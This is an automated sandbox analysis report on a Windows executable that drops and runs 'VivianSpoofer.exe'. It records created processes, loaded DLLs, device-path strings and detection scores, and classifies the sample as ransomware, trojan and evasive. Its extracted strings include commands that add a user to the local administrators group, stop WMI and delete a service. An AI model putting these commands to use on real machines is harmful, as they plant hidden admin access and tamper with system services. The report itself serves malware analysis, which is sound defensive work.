Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC4911CA	0_2_00007FFAAC4911CA
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC496DCE	0_2_00007FFAAC496DCE
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490DBD	0_2_00007FFAAC490DBD
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490DDD	0_2_00007FFAAC490DDD
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490E95	0_2_00007FFAAC490E95
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC49428B	0_2_00007FFAAC49428B
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490A8D	0_2_00007FFAAC490A8D
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490A85	0_2_00007FFAAC490A85
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC4912A5	0_2_00007FFAAC4912A5
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490650	0_2_00007FFAAC490650
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490E5D	0_2_00007FFAAC490E5D
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC49BF22	0_2_00007FFAAC49BF22
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490F25	0_2_00007FFAAC490F25
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC498F1C	0_2_00007FFAAC498F1C
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490ED5	0_2_00007FFAAC490ED5
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490EE5	0_2_00007FFAAC490EE5
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC49138D	0_2_00007FFAAC49138D
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490368	0_2_00007FFAAC490368
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC494415	0_2_00007FFAAC494415
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490C0D	0_2_00007FFAAC490C0D
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490C05	0_2_00007FFAAC490C05
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC493400	0_2_00007FFAAC493400
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC491435	0_2_00007FFAAC491435
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC49141D	0_2_00007FFAAC49141D
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490FCD	0_2_00007FFAAC490FCD
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490FF5	0_2_00007FFAAC490FF5
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC4910B8	0_2_00007FFAAC4910B8
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC49C445	0_2_00007FFAAC49C445
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC49145D	0_2_00007FFAAC49145D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC4709E5	17_2_00007FFAAC4709E5
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC47BE7D	17_2_00007FFAAC47BE7D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC473318	17_2_00007FFAAC473318
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC47BC37	17_2_00007FFAAC47BC37
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC473450	17_2_00007FFAAC473450
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC47050D	17_2_00007FFAAC47050D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC475D1B	17_2_00007FFAAC475D1B
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC471125	17_2_00007FFAAC471125
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC4708F8	17_2_00007FFAAC4708F8
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC4750DC	17_2_00007FFAAC4750DC
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC47098D	17_2_00007FFAAC47098D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC470985	17_2_00007FFAAC470985
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC470DB5	17_2_00007FFAAC470DB5
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC47114D	17_2_00007FFAAC47114D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC474549	17_2_00007FFAAC474549
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC474960	17_2_00007FFAAC474960
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC470A2D	17_2_00007FFAAC470A2D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC471235	17_2_00007FFAAC471235
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC471229	17_2_00007FFAAC471229
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC4711C0	17_2_00007FFAAC4711C0
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC470DED	17_2_00007FFAAC470DED
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC47C5DD	17_2_00007FFAAC47C5DD
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC470E8D	17_2_00007FFAAC470E8D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC471297	17_2_00007FFAAC471297
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC470E95	17_2_00007FFAAC470E95
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC470E85	17_2_00007FFAAC470E85
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC4712AD	17_2_00007FFAAC4712AD
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC4742A0	17_2_00007FFAAC4742A0
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC476250	17_2_00007FFAAC476250
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC470A6D	17_2_00007FFAAC470A6D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC47126D	17_2_00007FFAAC47126D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC470A75	17_2_00007FFAAC470A75
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC4712FD	17_2_00007FFAAC4712FD
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC470738	17_2_00007FFAAC470738
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC470B38	17_2_00007FFAAC470B38
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC47A327	17_2_00007FFAAC47A327
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC471325	17_2_00007FFAAC471325
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC470ACD	17_2_00007FFAAC470ACD
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC4712CA	17_2_00007FFAAC4712CA
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC4746C9	17_2_00007FFAAC4746C9
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC470EED	17_2_00007FFAAC470EED
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC4712F5	17_2_00007FFAAC4712F5
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC470B97	17_2_00007FFAAC470B97
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC47C385	17_2_00007FFAAC47C385
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC471F4B	17_2_00007FFAAC471F4B
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC474837	17_2_00007FFAAC474837
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC471435	17_2_00007FFAAC471435
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC4713CF	17_2_00007FFAAC4713CF
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC470FD3	17_2_00007FFAAC470FD3
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC47C482	17_2_00007FFAAC47C482
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC470C3D	17_2_00007FFAAC470C3D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC473470	17_2_00007FFAAC473470
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC471065	17_2_00007FFAAC471065
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC543215	17_2_00007FFAAC543215
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 17_2_00007FFAAC59000A	17_2_00007FFAAC59000A

Source: aYu936prD4.exe, 00000000.00000000.1256147960.0000021B14B05000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVivianSpoofer.exe< vs aYu936prD4.exe
Source: aYu936prD4.exe	Binary or memory string: OriginalFilenameMAT.exe> vs aYu936prD4.exe
Source: aYu936prD4.exe	Binary or memory string: OriginalFilenameUAStarter.exe4 vs aYu936prD4.exe
Source: aYu936prD4.exe	Binary or memory string: OriginalFilenameUpdateEnforcer.exe> vs aYu936prD4.exe
Source: aYu936prD4.exe	Binary or memory string: OriginalFilenamevolumeid.exeL vs aYu936prD4.exe
Source: aYu936prD4.exe	Binary or memory string: OriginalFilenameVivianSpoofer.exe< vs aYu936prD4.exe

Source: UpdatePackage.dat.0.dr	Binary string: \Device\MicroNT\Driver\TPM
Source: UpdatePackage.dat.0.dr	Binary string: \Device\Tcpip_
Source: UpdatePackage.dat.0.dr	Binary string: \Device\PhysicalMemory
Source: UpdatePackage.dat.0.dr	Binary string: \Device\RaidPort%d
Source: UpdatePackage.dat.0.dr	Binary string: \Device\genericdrv

Source: classification engine

Classification label: mal93.rans.troj.evad.winEXE@21/10@1/1

Source: C:\Users\user\Desktop\aYu936prD4.exe

File created: C:\Users\user\Desktop\Updater.bat

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2508:120:WilError_03
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7936:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6384:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1180:120:WilError_03

Source: C:\Users\user\Desktop\aYu936prD4.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c Updater.bat

Source: aYu936prD4.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 44.32%

Source: C:\Users\user\Desktop\aYu936prD4.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: aYu936prD4.exe	ReversingLabs: Detection: 47%
Source: aYu936prD4.exe	Virustotal: Detection: 48%

Source: aYu936prD4.exe	String found in binary or memory: password /add
Source: aYu936prD4.exe	String found in binary or memory: /add
Source: aYu936prD4.exe	String found in binary or memory: password /addnet user /addnet localgroup administrators net stop winmgmtnet start winmgmt
Source: aYu936prD4.exe	String found in binary or memory: Uninstallation is complete, A restart is required for changes to take effectUC:\Windows\Syste32\cmd /c sc Delete winmgrMC:\Windows\System32\ESCore.exe flshdns=BACKING UP SYSTEM COMPONENTS..?Backing up system componenets..9DELETING OLD RESTORE POINT..1CREATING RESTORE POINT..1Creating restore point..IEnable-ComputerRestore -Drive 'C:\' ANormal Machine (Before Spoofing)ERestore point created successfully)PREPARING STARTUPS..)Preparing Startups..+Installing spoofer...)INSTALLING SPOOFER..-Installing Succeeeded.!Pending restart.'REVERTING CHANGES..'Removing Startups..'REMOVING STARTUPS../Uninstalling spoofer...

Source: unknown	Process created: C:\Users\user\Desktop\aYu936prD4.exe "C:\Users\user\Desktop\aYu936prD4.exe"
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process created: C:\Windows\System32\ESCore.exe C:\Windows\System32\ESCore.exe chkdrv
Source: C:\Windows\System32\ESCore.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c Updater.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\VivianSpoofer.exe VivianSpoofer.exe
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process created: C:\Windows\System32\ESCore.exe C:\Windows\System32\ESCore.exe chkdrv
Source: C:\Windows\System32\ESCore.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process created: C:\Windows\System32\ESCore.exe C:\Windows\System32\ESCore.exe reg Username Token
Source: C:\Windows\System32\ESCore.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process created: C:\Windows\System32\ESCore.exe C:\Windows\System32\ESCore.exe clr
Source: C:\Windows\System32\ESCore.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process created: C:\Windows\System32\ESCore.exe C:\Windows\System32\ESCore.exe chkdrv	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c Updater.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\VivianSpoofer.exe VivianSpoofer.exe	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process created: C:\Windows\System32\ESCore.exe C:\Windows\System32\ESCore.exe chkdrv	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process created: C:\Windows\System32\ESCore.exe C:\Windows\System32\ESCore.exe reg Username Token	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process created: C:\Windows\System32\ESCore.exe C:\Windows\System32\ESCore.exe clr	Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: kernel.appcore.dll	Jump to behavior
